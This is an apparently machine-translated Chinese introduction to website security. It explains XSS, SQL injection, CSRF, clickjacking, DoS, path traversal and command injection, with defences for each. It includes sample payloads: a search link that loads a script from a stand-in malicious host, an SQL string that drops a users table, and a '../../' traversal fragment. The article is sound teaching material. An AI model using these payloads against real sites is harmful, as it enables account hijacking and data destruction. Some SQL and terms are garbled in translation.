什么是网站安全?常见网站安全的威胁有哪些?

日期:2019-12-30 15:55:46

网站安全要求在设计和使用的各个方面保持警惕。这篇介绍性文章不会使您成为网站安全专家,但是它将帮助您了解威胁的来源以及如何针对最常见的攻击来增强网站应用程序。

先决条件:基本的计算机技能。目标:了解对网站应用程序安全性最常见的威胁,以及如何减少网站被黑客入侵的风险。提供有效的网站安全性解决方案。什么是网站安全?

互联网是危险的地方!通常,我们会听到由于拒绝服务攻击而无法使用网站,或者在其首页上显示经过修改(且通常是有害的)信息的网站。在其他备受瞩目的案例中,数百万的密码,电子邮件地址和信用卡详细信息会向公众发布,使网站用户面临个人尴尬和风险。财务损失。

网站安全的目标是防止这些类型的攻击。更正式地讲,网站安全是保护网站免遭未经授权的访问,使用,修改,破坏或破坏的行为/做法。

网站的有效安全性需要在整个网站上进行设计工作:在网站应用程序中,网站服务器配置中,在创建和更新密码的策略中以及在代码端-client。尽管所有这些听起来都很令人担忧,但好消息是,如果您使用的是服务器端网站框架,则默认情况下它将包含强大的,经过深思熟虑的防御机制,以应对多种最常见的攻击。通过配置网站服务器,例如启用HTTPS,可以缓解其他攻击。最后,还有公开可用的漏洞分析工具,可以帮助您确定是否犯了明显的错误。

本文的其余部分详细介绍了对网站最常见的威胁,并提供了一些简单的步骤来保护您的网站。

注意:这是一篇介绍性文章,旨在帮助您考虑网站的安全性。这并不详尽。

网站安全的威胁

本节仅列出了一些最常见的网站威胁以及如何缓解这些威胁。在阅读时,请注意,当网站应用程序信任或对浏览器的数据不够可疑时,威胁将如何出现!

跨站脚本(XSS)

XSS是用于描述攻击类别的术语,该类别允许攻击者通过网站注入客户端执行的脚本,以针对其他用户的网站浏览器。由于注入的代码来自网站,因此网站浏览器认为它是安全的,因此可以执行将身份验证cookie从用户传递给攻击者的操作。一旦攻击者获得了该cookie,他就可以像被攻击的用户一样登录到该站点,并可以执行该用户可以做的任何事情。根据发生攻击的站点,这可能包括访问信用卡详细信息,。

注意:与其他类型相比,XSS漏洞历来是最常见的漏洞。

请求站点将注入的脚本返回到网站浏览器的主要方法有两种,这些方法称为反射性XMS漏洞和持久性XSS漏洞。

当传递给服务器的用户内容立即返回,保持不变并显示在浏览器中时,就会发生一个反映的XSS漏洞-加载新页面时,将执行原始内容中的所有脚本!以某个站点中的搜索功能为例,在该站点中,搜索词被编码为URL中的参数,并且这些词与结果一起永久显示。攻击者可以构建包含恶意脚本作为参数的搜索链接(例如:http://mysite.com?q=beerscript%20src="http://sitedangereux.com/malicieux.js"/script),然后通过电子邮件将其发送给其他用户。如果目标用户单击此“有趣的链接”,则在显示搜索结果时将执行脚本。如前所述,这为攻击者提供了使用受害者帐户登录网站所需的所有信息-可能以该用户的身份购物或访问。

永久性XSS漏洞将是一个恶意脚本,该恶意脚本被存储在网站上,然后在不做任何修改的情况下被其他用户稍候显示并在其不知情的情况下执行。例如,接受包含纯HTML代码的注释的聊天屏幕可以存储攻击者的恶意脚本。当显示注释时,脚本将被执行,然后可以将访问用户帐户所需的信息发送给攻击者。这种攻击方法极为普遍和有效,因为攻击者无需与受害者建立直接关系。使用POST或发送数据时GET是XSS漏洞的最常见来源,来自网站浏览器的任何数据都可能受到攻击(包括浏览器显示的cookie数据或已加载和显示的用户文件)。

防范XSS漏洞的最佳方法是删除或禁用可能包含执行代码指令的任何标记。为了这包括HTML标记,如script,object,embed,和link。

有必要处理用户输入的数据,以确保他既不会执行脚本也不会干扰站点的正常运行(此过程称为英文输入清理)。默认情况下,许多框架都在表单条目上提供此验证。

SQL注入

SQL注入是一个漏洞,除了解防止网站sql数据库注入及解决办法(参考),攻击者可以利用该漏洞在数据库上执行欺诈性的SQL代码,从而不管用户的权限如何,都可以访问,修改或删除数据。成功的注入攻击可以允许篡改帐户,创建具有管理员权限的帐户,访问服务器的所有数据或对数据进行修改/破坏以使其无法使用。

当用户输入传递到可以更改查询方向的基础SQL查询时,就会出现此漏洞。例如,在下面的代码中,该代码应列出所有具有特定名称(userName)的用户,并且这些代码均来自HTML表单:

语句=“SELECT*FROM用户,其中name='”+userName+“';”

如果用户输入正确的名称,它将按预期工作。但是,恶意用户可以完全通过更改此SQL查询的含义来获得以下查询,只需添加以下粗体字作为名称即可,此修改后的查询将创建一个有效的SQL查询,该查询将删除该SQL查询的名称。表格,users然后选择表格中的所有数据userinfo(显示每个用户的信息)。由于注入的文本('a';)的开始将完成原始查询(这'是在SQL中用于分隔文本字符串的符号),因此所有这一切都成为可能。

SELECT*FROMuserswherewherename='a';DROPTABLEusers;SELECT*FROMuserinfoWHERE't'='t';

避免这种攻击的方法是确保从用户传输到SQL查询的任何输入都不会更改此查询的性质。一种方法是在SQL中具有特殊含义的情况下,从用户输入中转义所有字符。

注意:SQL查询将符号'作为文本字符串的开头和结尾。通过添加字符\,我们将“转义”该符号,并告诉SQL将其视为字符串的简单部分。

在下面的请求中,我们对字符'进行了转义。因此,SQL将把完整的字符串(粗体)解释为一个名称(确实是一个奇怪的名称,但无害)。

SELECT*FROMuserswherewherename='a\';DROPTABLEusers;SELECT*FROMuserinfoWHERE\'t\'=\'t';

网站框架通常负责为您转义这些字符。例如,Django确保从用户传递到模型的任何输入均被转义。

注意:本节主要参考Wikipedia的信息。

跨站点伪造请求(CSRF)

CSRF攻击允许恶意用户使用另一用户的标识符执行操作,而无需通知或同意该用户。

最好用一个例子来说明这种攻击。John是恶意用户,他知道特定站点允许经过身份验证的用户使用HTTP POST请求(包括帐号和金额)向特定帐户汇款。John构建了一个表格,其中包括他的帐号和隐藏(不可见)字段中的金额,并将其传输给该站点的另一个用户(将验证按钮伪装成指向站点的链接,以“致富”。)

如果用户单击验证按钮,则包含交易信息的HTTP POST请求以及网站浏览器与站点关联的cookie都将传输到服务器(添加到请求中的与站点关联的cookie是正常的浏览器行为)。服务器将检查身份验证cookie,并使用它来确定用户是否登录,从而允许交易。

最后,在连接到货币兑换网站的同时单击验证按钮的任何用户都将授权交易。约翰会发财!

注意:这里的技巧是John不需要访问用户的cookie(或其标识符),网站浏览器将存储此信息,并自动将其包括在对关联服务器的所有请求中。

防止此类攻击的一种方法是,服务器请求每个POST请求都具有服务器生成的且特定于用户的秘密(该秘密将在发送交易表单时由服务器传输)。这种方法阻止John创建自己的表单,因为他不知道服务器提供给用户的秘密。即使他发现了这个秘密并为特定用户创建了一个表单,他也无法使用该表单来攻击其他用户。

网站框架通常包括防止CSRF攻击的机制。

其他威胁

其他常见的攻击和漏洞包括:

点击劫持。在这种攻击中,恶意用户转移了针对可见网站的点击,并将其发送到隐藏在下面的页面。例如,可以使用此技术来显示银行的合法站点,但可以在攻击者控制的不可见iframe中捕获身份验证标识符。否则,它可以使用户单击站点上的可见按钮,但是这样做实际上会无意间单击了另一个按钮。作为防御,您的网站可以通过配置正确的HTTP标头来防止自己被其他网站的iframe包含。

拒绝服务(DoS)。拒绝服务通常是通过向目标站点加载虚假请求来实现的,从而使合法用户无法访问该站点。这些请求可以很简单,也可以单独需要大量资源(例如:加载重文件等)。防御这种攻击的方法通常是基于识别和阻止不良流量,同时允许合法消息的到达。这些防御通常集成在网站服务器的上游或上游(它们不是网站应用程序的一部分)。

通过目录和文件中的导航发现。在此攻击家族中,恶意用户将尝试访问不应访问的网站服务器上的文件。当用户可以传递包含文件系统中导航字符的文件名时,就会发生此漏洞(例如:)../../。解决的办法是在使用前对入口进行消毒。

包括文件。在这种攻击中,用户可以指定要在传输到服务器的数据中显示或执行的“非自愿”文件。加载后,可以在网站服务器或客户端上运行此文件(导致XSS攻击)。解决方案是在使用之前检查条目。

注入命令。命令注入攻击使恶意用户可以在主机系统上执行欺诈性系统命令。解决方案是在系统调用中使用每个用户输入之前对其进行检查。

还有很多。有关更详尽的列表,您可以查阅网站安全漏洞类别(Wikipedia)和Attacks类别(来自OWASP项目)。

一些关键信息

当网站应用程序信任来自网站浏览器的数据时,上面引用的大多数攻击都会成功。为了提高网站的安全性,无论采取什么其他措施,都应在查看,在SQL查询中使用或在系统或文件系统调用中传递之前,清除所有用户输入的内容。

重要提示:关于网站安全性,要记住的最重要一课是永远不要信任网站浏览器中的数据。这包括GET在URL中带有参数的请求,随其发送的数据POST,HTTP标头,cookie,用户加载的文件等。始终检查并清理数据。总是期待最坏的情况。

您可以设置其他一些要点:

使用有效的密码管理策略。鼓励使用频繁更新的强密码。考虑到您网站上的两因素身份验证(用户除了密码外,还必须提供通常由物理硬件提供的另一种身份验证代码,只有用户才有,例如发送到短信)。

配置您的网站服务器以使用HTTPS和HTTP严格传输安全性(HSTS)。HTTPS加密在客户端和服务器之间传输的数据。这确保了认证数据,cookie,与之交换的数据POST以及标头信息对攻击者的可用性降低。

随时了解最新威胁(此处是OWASP的最新列表),并始终首先担心最常见的漏洞。

使用漏洞发现工具自动在您的站点上进行错误搜索(您的站点可能还会提供buf赏金计划来检测错误,就像Mozilla在此处所做的那样)。

仅存储和显示必要的数据。例如,如果您的用户必须存储诸如银行信息之类的敏感数据,则仅显示足以被用户识别的内容,但不足以被攻击者复制并在其他站点上使用的内容。现在最常用的方法是只显示信用卡号的后四位。

另外选择优良的网站框架可以帮助缓解许多最常见的漏洞。